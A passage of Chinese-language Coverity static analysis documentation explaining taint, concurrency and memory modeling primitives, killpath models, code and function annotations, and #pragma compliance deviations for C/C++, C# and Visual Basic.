void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
 return ret;
}

```

#### 5.1.6.2.23. `__coverity_tainted_string_sanitize_content__`

已废弃：自 Coverity 2019.09 起，此原语已废弃。仅向后兼容支持它。转为使用 `__coverity_mark_pointee_as_sanitized__`。

向 TINTED\_STRING 检查器表明某个函数是否可以净化参数。

以下模型表明，当 `custom_sanitize()` 返回 `true` 时，对于类型为 PATH 的数据消费者，`s` 将被净化；如果该函数返回 `false`，它不会被净化：

```

bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, PATH);
 return true;
 }
 return false;
}

```

#### 5.1.6.2.24. `__coverity_tainted_string_sink_content__(arg)`

已废弃：此原语仅支持向后兼容。转为使用 `__coverity_taint_sink__`。

向 TINTED\_STRING 检查器表明某个函数相对于其参数是污染数据消费者。

以下模型表明，`custom_db_command()` 相对于其参数 `command` 是被污染的字符串数据消费者：

```

void custom_putenv(const char *command) {
 __coverity_tainted_string_sink_content__(command);
}

```

使用以下模型作为将 `__coverity_tainted_string_sink_content__` 用法迁移到 `__coverity_taint_sink__` 用法的指南。此模型表明 `custom_putenv()` 相对于其参数 `string` 是污染数据消费者（类型为 ENVIRONMENT）。标准 C 接口 `putenv` 通过类似的 stub 函数进行建模：

```

void custom_putenv(char *string)
{ __coverity_taint_sink__(string, ENVIRONMENT); }

```

5.1.6.2.25. `__coverity_taint_sink__ (arg, taint_sink_type)`

向以下检查器表明某个函数相对于其参数是污染数据消费者：

- FORMAT\_STRING\_INJECTION
- OS\_CMD\_INJECTION
- PATH\_MANIPULATION
- SQLI
- TAINTED\_SCALAR
- TAINTED\_STRING
- URL\_MANIPULATION
- XPATH\_INJECTION

此原语获取两个参数：指针和污染数据消费者类型。污染数据消费者类型的可能值为：

- ALLOCATION
- ENVIRONMENT
- FORMAT\_STRING
- GENERIC
- LOOP\_BOUND
- OS\_CMD\_ARGUMENTS
- OS\_CMD\_ARRAY
- OS\_CMD\_FILENAME
- OS\_CMD\_STRING
- OVERRUN
- PATH
- REGISTRY
- SQL
- TAINTED\_SCALAR\_GENERIC
- URL

- XPATH

以下模型表明 `custom_putenv()` 相对于其参数 `string` 是污染数据消费者（类型为 `ENVIRONMENT`）。标准 C 接口 `putenv` 通过类似的 stub 函数进行建模：

```
void custom_putenv(char *string)
{ __coverity_taint_sink__(string, ENVIRONMENT); }
```

#### 5.1.6.2.26. `__coverity_tainted_unterminated_string__()`

对于 `STRING_NULL` 检查器，表明某个函数返回了没有以 `null` 终止的字符串。对于 `TINTED_STRING` 检查器，表明某个函数返回了被污染的字符串。

#### 5.1.6.2.27. `__coverity_user_pointer__(arg)`

向 `USER_POINTER` 检查器表明某个函数解引用了用户空间指针。

#### 5.1.6.3. `__coverity_write_buffer_bytes__(void *buf, unsigned size)`

指示指定的缓冲区被读取到给定大小（按字节指定）。此原语主要影响 `OVERRUN`、`ARRAY_VS_SINGLETON` 和 `UNINIT` 检查器。

#### 5.1.6.4. `__coverity_write_buffer_elements__(void *buf, unsigned size)`

指示指定的缓冲区被读取到给定大小（按元素指定）。元素类型由转换为 `void` 之前的表达式类型决定。此原语主要影响 `OVERRUN`、`ARRAY_VS_SINGLETON` 和 `UNINIT` 检查器。

#### 5.1.6.5. 并发原语

##### 5.1.6.5.1. `__coverity_assert_locked__(L)`

断言持有锁 `L`。

##### 5.1.6.5.2. `__coverity_exclusive_lock_acquire__(L)`

表明获取了互斥锁 `L`。

##### 5.1.6.5.3. `__coverity_exclusive_lock_release__(L)`

表明释放了互斥锁 `L`。

##### 5.1.6.5.4. `__coverity_lock_alias__(arg, arg)`

表明在构造函数中封装类是对真实锁执行运算的代理。

例如：

```
struct Lock;
struct AutoLock {
```

```

nsAutoLock(Lock *a) {
 __coverity_lock_alias__(this, a);
 __coverity_exclusive_lock_acquire__(this);
}
~nsAutoLock() {
 __coverity_exclusive_lock_release__(this);
}
void lock() {
 __coverity_exclusive_lock_acquire__(this);
}
void unlock() {
 __coverity_exclusive_lock_release__(this);
}
};

```

#### 5.1.6.5.5. \_\_coverity\_recursive\_lock\_acquire\_\_ (L)

表明获取了递归锁 L。

#### 5.1.6.5.6. \_\_coverity\_recursive\_lock\_release\_\_ (L)

表明释放了递归锁 L。

#### 5.1.6.5.7. \_\_coverity\_sleep\_\_

表明调用函数可能需要较长时间才能完成或阻止。

### 5.1.7. 覆盖无效模型

您可以为库中的函数重新编写模型，以便它准确反映函数的行为。采用此方法面临的唯一难题是，您必须确保库中函数的修饰过的 (mangled) 名称与实际源代码中函数的修饰过的 (mangled) 名称匹配（此限制仅针对 C++ 代码）。为此，只需确保类型签名匹配（按名称）。例如，如果您尝试覆盖的函数的其中一个参数是结构指针，则您必须在库文件中包含该结构的定义，或者使用与您库文件中完全匹配的名称创建虚拟结构。请注意，修饰过的 (mangled) 名称包括类型名称（例如 struct foo），但不包括结构的内容。

举一个简单的例子，假设您想要覆盖函数 malloc 的默认模型，以便其返回已分配的内存，但它绝不会返回 NULL。为此，请创建名为 my\_memory\_allocators.c 的文件；您要将函数 malloc 的新定义放置到该文件中。新版 malloc 如下：

```

void *malloc(unsigned n) {
 return __coverity_alloc__(n);
}

```

库函数 \_\_coverity\_alloc\_\_ 被预先配置为动态返回已分配的内存，但它在任何情况下都不会返回 NULL 指针。作为参照依据，此处是用于在内存不足的情况下一定会返回 NULL 的 malloc 的随附模型：

```

void *malloc(size_t size) {
 int has_memory;
 __coverity_negative_sink__(size);
 if(has_memory)

```

```

 return __coverity_alloc__(size);
 else
 return 0;
}

```

`malloc` 的默认模型也表明长度参数不应为负。此外，该模型还可通过打开未初始化的变量 `has_memory` 来模拟内存不足的情况。这样做会允许 Coverity Analysis 假设对 `malloc` 的任何调用可能会返回 `NULL` 或非 `NULL`。由于用于 `malloc` 的此代码只是一个模型，因而此代码不是“正确”的 C 编程并没有关系。

要为 `malloc` 安装此新模型，请将此文件编译成分析可读取的格式：

```
> cov-make-library -of memory_models.xmlDb my_memory_allocators.c
```

执行了此步骤后，当您通过指向生成模型的命令行开关调用 `cov-analyze` 时，下面的测试 case 就不会再报告 `NULL_RETURNS` 缺陷：

```

typedef struct _FILE {
} FILE;

void test() {
 FILE* f = 0;
 int *p = (int*)malloc(10);
 *p = 0;
 // Leak the pointer.

 f = fopen("file.txt", "w");
 // Leak the file.
}

```

`cov-analyze` 命令按如下方式调用：

```
> cov-analyze --dir /tmp/tmp-intermediate \
--user-model-file memory_models.xmlDb
```

您无需将所有模型都放到一个文件中。`cov-make-library` 命令可以在命令行中获取任意数量的文件。

### 5.1.8. 在函数中添加 Killpath 以终止执行

如果 Coverity Analysis 在您分析代码后生成了很多误报，则可能是缺少 `killpath` 函数模型。`killpath` 函数是可终止执行的函数。

缺少 `killpath` 函数会在 Coverity Analysis 使用 `assert()` 推断条件可行，但 `assert()` 实际上表示其不可行时导致误报。例如：

```

int test1(int *p) {
 assert(p != NULL);
 return *p;
}

```

如果已正确地为 killpath 函数建模，Coverity Analysis 会发现：

```
assert(p != NULL)
```

并且意识到 p 必须为非 NULL 才能继续执行。但是，如果缺少 killpath，当 Coverity Analysis 分析 test1() 时，会将这种情况视为与以下代码相同：

```
int test1(int *p) {
 if (p != NULL) {}
 return *p;
}
```

Coverity Analysis 如果程序不使用标准的 assert() 函数，而是使用开发人员编写的、实际上不会终止或者不会发现其终止的 assert() 函数，Coverity Analysis 会假设缺少 killpath。在任意一种情况下，Coverity Analysis 都会推断 p 可能为 NULL（否则为什么要通过 if 语句进行测试？），并且将之后的解引用报告为 FORWARD\_NULL。当 Coverity Analysis 将断言的条件视为可能为 false 时，缺少 killpath 会导致误报。

中止执行的大部分函数（例如 exit() 和 kabort()）都使用之前描述的库机制以及原语库函数 \_\_coverity\_panic\_\_ 进行建模。文件 <install\_dir\_sa> /library/generic/common/killpath.c 列出了目前在系统中建模的这些类型的函数。总的说来，向更多函数中添加 killpath 的最佳做法是，通过编写调用原语库函数或现有的库函数之一的 stub 增强库。

向 special\_abort 函数添加 killpath

要向 special\_abort 函数中添加另一个 killpath，请执行以下步骤：

1. 在文件 kill.c 中为 special\_abort 创建模型：

```
void special_abort(const char* msg) {
 __coverity_panic__();
}
```

2. 为 special\_abort 生成新模型以便在以下测试 case 中抑制 RESOURCE\_LEAK 缺陷：

```
void test() {
 int *p = (int*)malloc(10);
 *p = 0; // No defect due to overridden malloc
 special_abort("we are done - no leak");
}
```

3. 使用 cov-make-library 命令为新函数生成模型。要包括来自 my\_memory\_allocators.c 的模型，请执行以下步骤：

```
> cov-make-library kill.c my_memory_allocators.c
```

4. 分析该示例并验证其中不存在缺陷：

```
> cov-analyze --dir /tmp/tmp-intermediate
```

## 5. 检查确认 Coverity Analysis 未在目前目录中生成的任何 \*.errors.xml 文件内生成任何缺陷。

如果您尝试向库中添加中止执行的宏，您必须首先告诉 Coverity 编译器使用 Coverity 编译器的 #nodef  功能将该宏更改为函数调用。

此外，您还可以使用函数注解指定通过函数的所有路径都是 killpath。

### 5.1.9. 使用代码行注解减少误报

即使覆盖用户模型，您仍然可能无法消除所有误报。但是，对于分析，您还可以使用代码行注解来减少针对未分类 CID 的误报。从版本 7.0 开始，注解对在 Coverity Connect 中的分类为“未分类”(Unclassified) 或“待定”(Pending) 的缺陷有影响，但对已经手动分类的缺陷没有任何影响。



#### Note

只有 C/C++ 代码分析支持这些注解。

没有针对分析警告的代码行注解。

代码行注解被放置在紧接发生缺陷的代码行之前的位置。举一个例子，假设系统检测到 `x` 本地变量在以下代码中被解引用后可能为 `NULL`：

```
x = NULL;
...
x = 0; / foo.c line 20 */
```

当 Coverity Analysis 分析此代码时，Coverity Connect 中就会显示 FORWARD\_NULL 缺陷。此缺陷包含带有标记 `var_deref_op` 的事件。描述该事件的消息在 Coverity Connect 中显示为红色，并且显示在紧接在该事件前面的行中。在此示例中，显示在文件 `foo.c` 中的第 20 行前面。如果此缺陷为误报，您可以在紧接解引用之前的位置使用包含文本 `coverity[var_deref_op]` 的带注释代码行注解抑制它：

```
x = NULL;
...
// coverity[var_deref_op]
x = 0; / foo.c line 20 */
```

当 Coverity Analysis 再次检查该代码时，会自动为 FORWARD\_NULL 缺陷添加注解并将其分类为 Intentional，缺陷提交步骤会在 Coverity Connect 中自动读取和注解该程序缺陷。

代码行注解始终显示在 C 注释 (`/* coverity[...]... */`) 或 C++ 注释 (`// coverity[...]... */`) 的开头，并应用到位于既不为空 (空格) 也非注释的注释后的第一行代码。



#### Note

您可以使用不同的事件标记对同一线程应用多个 `coverity` 注解。Coverity Analysis 始终都会检查位于事件前的行。如果它在该行中发现了注解，则会检查该行的前一行是否也存在另一个注

解，依次对在前一行中发现的注解进行循环。例如，下面的代码将抑制关于 `nobug()` 调用的事件 `foo` 和 `bar`：

```
// coverity[baz]

// coverity[foo]
// coverity[bar]
/* coverity[qux] */ nobug();
```

该示例不排除 `baz` 或 `qux`，因为 `foo` 和 `baz` 之间存在空行，并且 `qux` 和 `nobug()` 位于同一行。

代码行注解会导致缺陷事件被忽略。多个缺陷可能会共享同一事件，因此忽略该事件会抑制多个缺陷。因此，您只应该使用代码行注解抑制关键的非共享事件或者您确定 Coverity Analysis 识别有误的事件。您可以通过描述识别关键事件。例如，事件描述 [Variable "x" tracked as NULL was dereferenced] 表示关键事件，而事件描述 [Added "x" due to comparison "x == 0"] 提供了相关信息，表示可共享事件。每个缺陷的说明列出了您可以在缺陷是误报时将其抑制的关键事件。

### 5.1.9.1. 特殊 Coverity Connect 分类

除了默认的 `Intentional` 分类外，注解还允许您显式指定某些其他分类。

#### 5.1.9.1.1. FALSE 分类

对于误报，您可以指定将缺陷分类为 `FALSE`。这是一个比 `Intentional` 更强的断言：一个开发人员满意的误报断言，代码在任何情况下都不是程序缺陷。

要将缺陷报告显式分类为误报，请在代码注解中的事件标记后加上一个冒号，然后再加上关键字 `FALSE`。

例如，以下代码注解将 `FALSE` 的 Coverity Connect 分类分配给 `FORWARD_NULL` 事件：

```
x = NULL;
...
// coverity[var_deref_op : FALSE]
x = 0; / bad_deref.c line 20 */
```

#### 5.1.9.1.2. SUPPRESS 分类

( 版本 2020.03 中的新功能。 )

`SUPPRESS` 甚至是比误报更强的断言：当您抑制缺陷时，Coverity Connect 根本不再保存该缺陷，并且该缺陷也不再出现在分析摘要中。

要显式抑制缺陷报告，请在代码注解中的事件标记后加上一个冒号，然后再加上关键字 `SUPPRESS`。

例如，以下代码注解将抑制 `FORWARD_NULL` 事件的报告：

```
x = NULL;
...
```

```
// coverity[var_deref_op : SUPPRESS]
x = 0; / bad_deref.c line 20 */
```

### 5.1.10. C/C++ 函数注解

在 Coverity 静态分析过程中自动生成函数模型，用户模型和 Coverity 库模型都可以覆盖函数模型。您可以通过向源添加函数注解来增强自动生成的模型，也可以使用同样的方式增强用户模型。

您可以使用函数注解增强函数模型。函数模型决定了在分析期间如何处理函数调用。函数注解的格式与代码行注解的格式类似：它显示在 C 注释 (`/* coverity[+...]`) 或 C++ 注释 (`// coverity[+...]`) 的开头，并且位于函数定义之前。函数注解适用于下一个函数定义。

例如，下面的注解指定通过 `special_abort()` 的所有路径都是 killpath：

```
// coverity[+kill]
void special_abort(const char* msg)
{ ... }
```

当指定的行为影响函数的所有路径时，可以使用函数注解，而不是使用 `__coverity_panic__()` 或 `__coverity_alloc__()` 库函数调用。

#### 5.1.10.1. 抑制模型

当您在函数注解标记之前加上减号 (`coverity[-...]`) 时，它会抑制而不是增强函数的模型。例如，下面的代码抑制了 `my_malloc()` 的分配行为：

```
// coverity[-alloc]
void* my_malloc(size_t size)
{
 return malloc(10);
}
```

Coverity Analysis 不会检查使用 `my_malloc()` 分配的内存是否已被释放。例如，当代码分配用于全局变量的内存（此内存直到程序终止时才会被释放）时，这可能会有用。

您可以在抑制函数注解中使用下面的小节中列出的所有标记。

#### 5.1.10.2. 注解标记

以下标记可能在函数注解中出现在 `coverity[...]` 中，可帮助抑制误报：

`+alloc / -alloc`

指明函数返回/不返回已分配的内存或在参数中存储已分配的内存。

作为分配函数注解的示例，下面的代码指明 `my_malloc()` 始终返回内存：

```
// coverity[+alloc]
```

```
void* my_alloc(size_t size)
{ ... }
```

当函数注解指明内存始终被分配给函数的 `n` 位置参数的解引用时，您必须在注解标记后的冒号之后包括字符串 `arg-*n`。参数根据从左到右的显示按 `0..n` 的顺序编号。

例如，下面的代码指明 `my_alloc()` 始终将内存分配给其被解引用的零位置参数 (`p`)。

```
// coverity[+alloc : arg-*0]
void my_alloc0(void **p, size_t size)
{ ... }
```

`+free / -free`

指明函数释放/不释放作为参数传入的内存。

带有 `+free` 标记的函数注解必须始终指定参数（其要释放的内存）。可以选择是否解引用此参数。指定参数的注解与 `+alloc` 标记相同：在注解的标记后的冒号之后包括字符串 `arg-*n`。参数根据从左到右的显示按 `0..n` 的顺序编号。

例如，下面的代码指明在没有解引用的情况下，`my_free()` 始终释放分配给其 #1 位置参数 (`memory_to_free`) 的内存：

```
// coverity[+free : arg-1]
void my_free(void** arg, void* memory_to_free)
{ ... }
```

`+kill / -kill`

指明函数中止/不中止。

`+returnsnull / -returnsnull`

指明函数可能会/可能不会返回 `null`。在为正的情况下，在解引用之前，必须验证返回值是否为非 `null`。

作为使用 `+returnsnull` 函数注解的示例，下面的示例指明应始终验证 `fetch_ptr` 的值。未验证的值将由 `NLL_RETURNS` 检查器报告（并且不依赖于统计分析）。

```
// coverity[+returnsnull]
int* fetch_ptr(int idx)
{ ... }

void caller() {
 int * p = fetch_ptr(0);
 *p = 0; // NLL_RETURNS defect
}
```

相反，`-returnsnull` 函数注解可用于减少 `NLL_RETURNS` 缺陷报告。具有负注解的函数返回的值将不会由检查器报告，即使该值实际上为 `null`。

### 5.1.11. 使用 #pragma 指令或 \_Pragma 运算符注解偏差和抑制误报

用户可能不希望或不能支持给定标准的所有规则。遵从性偏差是对与特定检查器强制执行的规则相关联的缺陷的抑制。

Coverity 提供了基于 pragma 的机制，允许内联源代码注解抑制报告在 C 和 C++ 代码中发现的缺陷和误报。您可以使用类似的注解来支持遵从性偏差，并且在完成分析时可以生成偏差报告（CSV 文件）来记录当前项目版本中的所有偏差。具有偏差记录可能允许您声称遵从性，并获得批准，尽管部分遵守了标准。

 Note

基于 Clang 的编译器不支持 `#pragma Coverity` 遵从性预处理指令和 `_Pragma Coverity` 遵从性预处理运算符。

要标记遵从性偏差，请执行以下步骤：

1. 将 cov-analyze 选项设置为 `--ignore-deviated-findings`。
2. 使用 `#pragma` 指令或 `_Pragma()` 运算符来标识要忽略的偏差或误报。

- `#pragma` 指令由 C90 和更高版本的语言标准支持。

此指令的语法是 `#pragma coverity compliance <directives>`。

- `_Pragma()` 运算符由 C99、C++11 及更高版本的标准支持。

此运算符的语法是 `_Pragma ("coverity compliance <directives>")`。

此运算符允许在宏定义中包含抑制注解。（因此，仅以 C90 或 C++03 为目标的编译器可能与该运算符不兼容。）遵守这些标准的本机编译器将忽略 `#pragma coverity` 指令，并且不会影响本机代码编译。

使用 `#pragma coverity compliance` 指令注解的任何缺陷或误报都将被抑制，并且 Coverity Connect 不会报告。您可以通过检查器名称将此注解应用于任何 Coverity 检查器。您的组织应该根据给定的遵从性标准为此类注解的使用提供指导。

在分析包含遵从性偏差注解的源代码之后，Coverity 输出目录将包含两个与遵从性偏差相关的文件：

- 注解输出文件 `deviations.txt` 是 CSV 格式的注解后的缺陷列表。
- 日志文件 `deviations-warnings.txt` 包含关于不匹配计数和未使用的偏差的警告。

#### 5.1.11.1. 使用 `#pragma coverity compliance` 指令

`#pragma coverity compliance` 指令使扫描偏离报告遵从性问题。C90 和较新的语言标准支持 `#pragma`。

此指令由 `#pragma coverity compliance` 引入，并后跟指令说明。

该指令说明允许您指定以下基本元素：

- 应用指令的范围：行、文件等
- 发现的缺陷的分类：误报或偏差
- 要忽略其违规的规则的检查器名称
- 注释

语法变化如下所示。以下元素在多个变体中使用。

**指令是分类[:计数] 检查器 [注释]**

**单行、单个检查器注解：**

```
#pragma coverity compliance classification[:count] "checker_name" ["comment"]
```

默认情况下，行范围是 `#pragma coverity compliance` 行以及紧接其后的行。

**单行、多个检查器注解：**

```
#pragma coverity compliance (directive) [(directive) ...]
```

**块范围注解：**

```
#pragma coverity compliance block [(block_scope)] directive
#pragma coverity compliance end_block [(block_scope)] checker [checker...]
```

其中 `block_scope` 是 `file` 或 `include`，如果不存在，默认为 `file`。`File` 范围不包括任何介于中间的 `#include` 文件。`include` 范围包括任何直接或传递的 `#include` 文件。

- **范围**

定义源文件中检查器缺陷受注解影响的行。范围是 `line`（默认）或 `block`，也可以覆盖包含的文件。范围对于每个检查器都不同，不同检查器的范围可以重叠。

对于给定检查器，单行注解优先于 `block`（文件），后者优先于 `block(include)`。即，较细粒度范围优先于粗粒度范围。这允许在 `deviate` 块中包含 `false_positive`。

- 分类可以是 `deviate` 或 `false_positive` 或 `fp`，取决于您想要如何报告在范围内发现的缺陷。
- 计数指定预计在注解范围内发现的缺陷数量；它是可选的。如果指定，则在日志文件中报告发现的实际缺陷数与预计缺陷数之间的任何差异。
- 检查器是生成要由注解管理的缺陷的检查器的名称。该名称可以是字符串或标识符名称。匹配不区分大小写。
  - 字符串是 Coverity 检查器说明书中记录的准确检查器名称。例如，针对 MISRA C-2012 规则 10.2 的字符串是“MISRA C-2012 规则 10.2”。
  - 标识符是具有由下划线字符替换的分隔符字符的检查器名称。例如，针对“MISRA C-2012 规则 10.2”的标识符是 `MISRA_C_2012_Rule_10_2`。

这主要是为了便于避免在 `_Pragma()` 运算符的参数字符串中转义字符。

- 注释是可选的用户字符串，它解释了注解偏差的原因。

使用反斜杠字符继续行；例如：

```
#pragma coverity compliance block \
(deviate:2 "MISRA C-2012 Rule 5.2" "Approval #992") \
(fp:2 "MISRA C-2012 Rule 10.1" "Approval #994") \
(deviate "MISRA C-2012 Rule 10.2" "Approval #998")
```

 Warning

如果您的源代码包含保护，请注意。因为源代码中包含的顺序确定包含的文件何时被扩展，对于包含注释块确保包含的文件在范围内扩展很重要。

当将预处理的源代码传递给 Coverity 时，包含块注解的结果可能不一致。在使用 cov-build 的 `--preprocess-next` 或 `--preprocess-first` 选项时可能会发生这种情况。

 Note

当对标识符名称使用字符串语法时，请勿用下划线替换空格和其他非字母数字字符。即，偏差应如下：

```
#pragma coverity compliance block(include) deviate MISRA_C_2012_Rule_7_2
"Approval #994"
```

或以下：

```
#pragma coverity compliance block(include) deviate "MISRA C-2012 Rule 7.2"
"Approval #994"
```

请勿这样做：

```
#pragma coverity compliance block(include) deviate "MISRA_C_2012_Rule_7_2"
"Approval #994"
```

### 5.1.11.2. 示例

下面的示例说明了单行的注解：

```
#pragma coverity compliance deviate "MISRA C-2012 Rule 10.1" "Approval #994"
// code with defect to be deviated
```

下面的示例说明了块注解的使用；默认是文件范围。

```
#pragma coverity compliance block deviate:2 "MISRA C-2012 Rule 10.2" "Approval #998"
#include "foo.h" // no Rule 10.2 defects in foo.h will be deviated
// code defect 1 to be deviated
```

```
// more good code
// code defect 2 to be deviated
// expect 2 defects to be deviated - warn otherwise
#pragma coverity compliance end_block "MISRA C-2012 Rule 10.2"
```

下面的示例说明了包含的文件的块注解：

```
#pragma coverity compliance block(include) deviate "MISRA C-2012 Rule 5.2" "Approval
#992"
#include "foo.h" // deviate any Rule 5.2 defects in the included file foo.h
 // (and in any files foo.h transitively includes)
// code defect to be deviated
// more good code
#pragma coverity compliance end_block(include) "MISRA C-2012 Rule 5.2"
```

在单个 `#pragma coverity compliance` 指令中，通过列出多组分类[:计数] 检查器 [注释] 支持多个注解。将每个组括在括号中。

如果注解具有块范围，必须在随后的 `#pragma` 指令中的 `end_block` 后列出每个检查器。另外，单独的 `end_block` 检查器指令也可以用于其他随后的 `#pragma` 指令，允许某些多个注解具有不同的行号范围。例如：

```
#pragma coverity compliance block \
(deviate:2 "MISRA C-2012 Rule 5.2" "Approval #992") \
(fp:2 "MISRA C-2012 Rule 10.1" "Approval #994") \
(deviate "MISRA C-2012 Rule 10.2" "Approval #998")
#include "foo.h" // no Rule defects in foo.h will be deviated
// code defect 1 ([5.2]) to be deviated
// good code
// code false positive ([10.1]) to be ignored
// good code
// code defect 1 ([10.2]) to be deviated
// code defect 2 ([5.2]) to be deviated
// code false positive 2 ([10.1]) to be ignored
#pragma coverity compliance end_block "MISRA C-2012 Rule 5.2" "MISRA C-2012 Rule 10.2"
// code defect 3 ([5.2]) - not deviated
#pragma coverity compliance end_block "MISRA C-2012 Rule 10.1"
```

### 5.1.11.3. 使用 `_Pragma()` 遵从性运算符

`_Pragma()` 运算符与 `#pragma` 指令具有相同的作用。C99、C++11 和较新的标准支持 `_Pragma()`。

以下单行示例是等效的：

下面的示例说明了单行的注解：

```
#pragma coverity compliance deviate "MISRA C-2012 Rule 10.1" "Approval #994"
// code with defect to be deviated
```

```
_Pragma("coverity compliance deviate MISRA_C_2012_Rule_10_1 'Approval #994'")
```

```
// code with defect to be deviated
...
```

调用 `_Pragma()` 运算符的语法是 `_Pragma( <string-literal> )`，其中 `<string-literal>` 是一个用双引号引起的字符串。通常，该参数包含 coverity compliance deviate，后跟检查器名称，然后跟可选注释。

如果检查器名称或注释中包含空格，则需要附加嵌入式引号。（以上示例中的注释就是这种情况。）嵌入式引号可以是单引号，也可以是带反斜杠（\）的双引号。

以下是 `_Pragma()` 的所有格式正确的调用：

```
_Pragma("coverity compliance deviate checker-name comment")
Pragma("coverity compliance deviate 'checker name' 'another comment'")
Pragma("coverity compliance deviate \"checker name\" \"another comment\"")
```

下面的示例说明了如何在宏中使用运算符：

```
#define EXAMPLE(a) \
_Pragma("coverity compliance deviation MISRA_C_2012_Directive_4_6 \"Approval #102\"")
\
int a;
...
EXAMPLE(myVar); // deviation will be on this line
```

### 5.1.12. 并发模型

并发检查器支持以下库函数：

- Linux 内核库：
  - `_raw_spin_lock`
  - `_raw_spin_unlock`
  - `_spin_lock`
  - `_spin_unlock`
  - `_spin_lock_irqsave`
  - `_spin_unlock_irqrestore`
  - `_spin_lock_irq`
  - `_spin_unlock_irq`
- FreeBSD 内核库：
  - `mtx_lock_spin`
  - `mtx_unlock_spin`
  - `mtx_lock`
  - `mtx_unlock`
  - `mtx_destroy`
- Green Hills Software ThreadX：
  - `tx_mutex_get`
  - `tx_mutex_put`

- tx\_semaphore\_get
- tx\_semaphore\_put
- POSIX pthread 库：
  - pthread\_mutex\_lock
  - pthread\_mutex\_unlock
  - pthread\_mutex\_trylock
  - pthread\_rwlock\_rdlock
  - pthread\_rwlock\_tryrdlock
  - pthread\_rwlock\_wrlock
  - pthread\_rwlock\_trywrlock
  - pthread\_rwlock\_unlock
  - pthread\_spin\_lock
  - pthread\_spin\_unlock
  - pthread\_spin\_trylock
  - sem\_post
  - sem\_wait
  - sem\_trywait
- Win32 API：
  - EnterCriticalSection
  - LeaveCriticalSection
- Wind River VxWorks 库：
  - intLock
  - intUnlock
  - semTake
  - semGive

### 5.1.12.1. 添加模型进行并发检查

Coverity Analysis 随附的并发模型位于 <install\_dir\_sa>/library/concurrency 目录和 <install\_dir\_sa>/config/default\_models.concurrency.xml 文件中。

#### Note

在为涉及锁的并发原语建模时，您需要为锁的获取和释放建模。例如，您应该为 \_\_coverity\_exclusive\_lock\_acquire\_\_(L) 和 \_\_coverity\_exclusive\_lock\_release\_\_(L) 建模。

这种做法可以避免 LOCK 检查器产生误报报告。

可用于配置模型库的原语包括：

- \_\_coverity\_exclusive\_lock\_acquire\_\_(L) : 表明获取了互斥锁 L。
- \_\_coverity\_exclusive\_lock\_release\_\_(L) : 表明释放了互斥锁 L。
- \_\_coverity\_recursive\_lock\_acquire\_\_(L) : 表明获取了递归锁 L。

- `__coverity_recursive_lock_release__(L)` : 表明释放了递归锁 L。
- `__coverity_assert_locked__(L)` : 断言持有锁 L。
- `__coverity_sleep__()` : 表明调用函数可能需要较长时间才能完成或阻止。

当您使用 cov-make-library 命令配置模型时，请确保使用 `--concurrency` 选项，如Section 5.1.12.1.1，“新模型的示例”中所示。

#### 5.1.12.1.1. 新模型的示例

如果您拥有除了并发检查器支持的标准库中提供的函数之外的函数，您可以添加描述正确行为的 stub 函数，并使用 cov-make-library 命令为 Coverity Analysis 添加该函数。例如，如果您拥有名称为 `foo_lock` 的互斥锁函数，您可以按如下方式为其编写模型：

```
void foo_lock(void **l) {
 __coverity_exclusive_lock_acquire__(*l);
}
```

要释放锁，您可以按如下方式编写模型：

```
void foo_unlock(void **l) {
 __coverity_exclusive_lock_release__(*l);
}
```

然后，您可以按如下方式添加模型：

```
> cov-make-library --concurrency foo_lock.c
> cov-make-library --concurrency foo_unlock.c
```

这些模型表明 `foo_lock` 函数锁定了第一个参数的解引用，而 `foo_unlock` 函数则释放了该锁。这种模式适用于前面所说的并发锁定函数，此类函数会收到指向锁定数据结构的指针。

## 5.2. C# 或 Visual Basic 中的模型和注解

### 5.2.1. 在 C# 或 Visual Basic 中添加模型

您可以出于与为 Java 创建模型相同的原因在 C# 或 Visual Basic 中创建模型（请参阅Section 5.4.1，“添加 Java 模型”）。将模型添加到分析中的步骤略有不同。

要添加新模型，请执行以下步骤：

1. 导入相关原语。

适用于 C# 和 Visual Basic 的 Coverity 原语是 `Coverity.Primitives` 命名空间的一部分。Coverity Analysis 在 `<install_dir>/library/primitives.dll` 中提供了包含原语的汇编。

有关这些原语的描述，请参阅Section 5.2.1.3，“C# 和 Visual Basic 原语”。

## 2. 添加代表想要添加方法的行为的 stub 方法。

要正确地应用模型，命名空间名称、类名称、类型参数的数量和名称、方法名称、方法参数类型以及返回类型必须匹配。

## 3. 编译类并注册模型。将 cov-make-library 命令用于此目的。

有关一般指导，请参阅Section 5.4.1.2，“为资源泄漏建模”中的 Java 示例。

## 4. 使用 cov-analyze 命令运行分析以及新模型。

示例：

```
> cov-analyze --dir <intermediate_directory> --user-model-file ../
user_models.xmldb
```

### 5.2.1.1. 为 C# 或 Visual Basic 中的敏感数据源建模

当分析检测到通过不安全的方式使用敏感数据的情况时，它会报告缺陷（SENSITIVE\_DATA\_LEAK、UNENCRYPTED\_SENSITIVE\_DATA 和 WEAK\_PASSWORD\_HASH）。很多常见敏感数据源都是内置的，但通过识别其他应用程序特定源可能发现更多缺陷。

可以使用Section 5.2.1.3，“C# 和 Visual Basic 原语”中描述的 Security.SensitiveSource 原语为返回敏感数据的方法建模。

下面的模型表明 GetLoginInfo 方法返回了敏感用户标识符和密码信息。

#### Example 5.1. C# :

```
using Coverity.Primitives;
using System.Collections.Generic;

List<string> GetLoginInfo()
{
 Security.SensitiveSource(SensitiveDataType.Password);
 Security.SensitiveSource(SensitiveDataType.UserId);
 return new List<string>();
}
```

#### Example 5.2. Visual Basic :

```
Imports Coverity.Primitives
Imports System
Imports System.Collections.Generic

Function GetLoginInfo() As List(Of String)
 Security.SensitiveSource(SensitiveDataType.Password)
 Security.SensitiveSource(SensitiveDataType.UserId)
```

```
 Return New List(Of String)()
End Function
```

下面的模型表明 GetSessionId 将敏感会话标识符写入了其字节数组参数。

Example 5.3. C# :

```
void GetSessionId(byte [] token)
{
 Security.SensitiveSource(token, SensitiveDataType.SessionId);
}
```

Example 5.4. Visual Basic :

```
Sub GetSessionId(token() As Byte)
 Security.SensitiveSource(token, SensitiveDataType.SessionId)
End Sub
```

### 5.2.1.2. 为不可信（被污染的）数据源建模

您可以使用下面的安全原语（描述见 Section 5.2.1.3，“C# 和 Visual Basic 原语”）为不可信数据源建模：

- Security.HttpSource(Object)
- Security.HttpSource()
- Security.HttpMapValuesSource(Object)
- Security.HttpMapValuesSource()
- Security.NetworkSource(Object)
- Security.NetworkSource()
- Security.DatabaseSource(Object)
- Security.DatabaseSource()
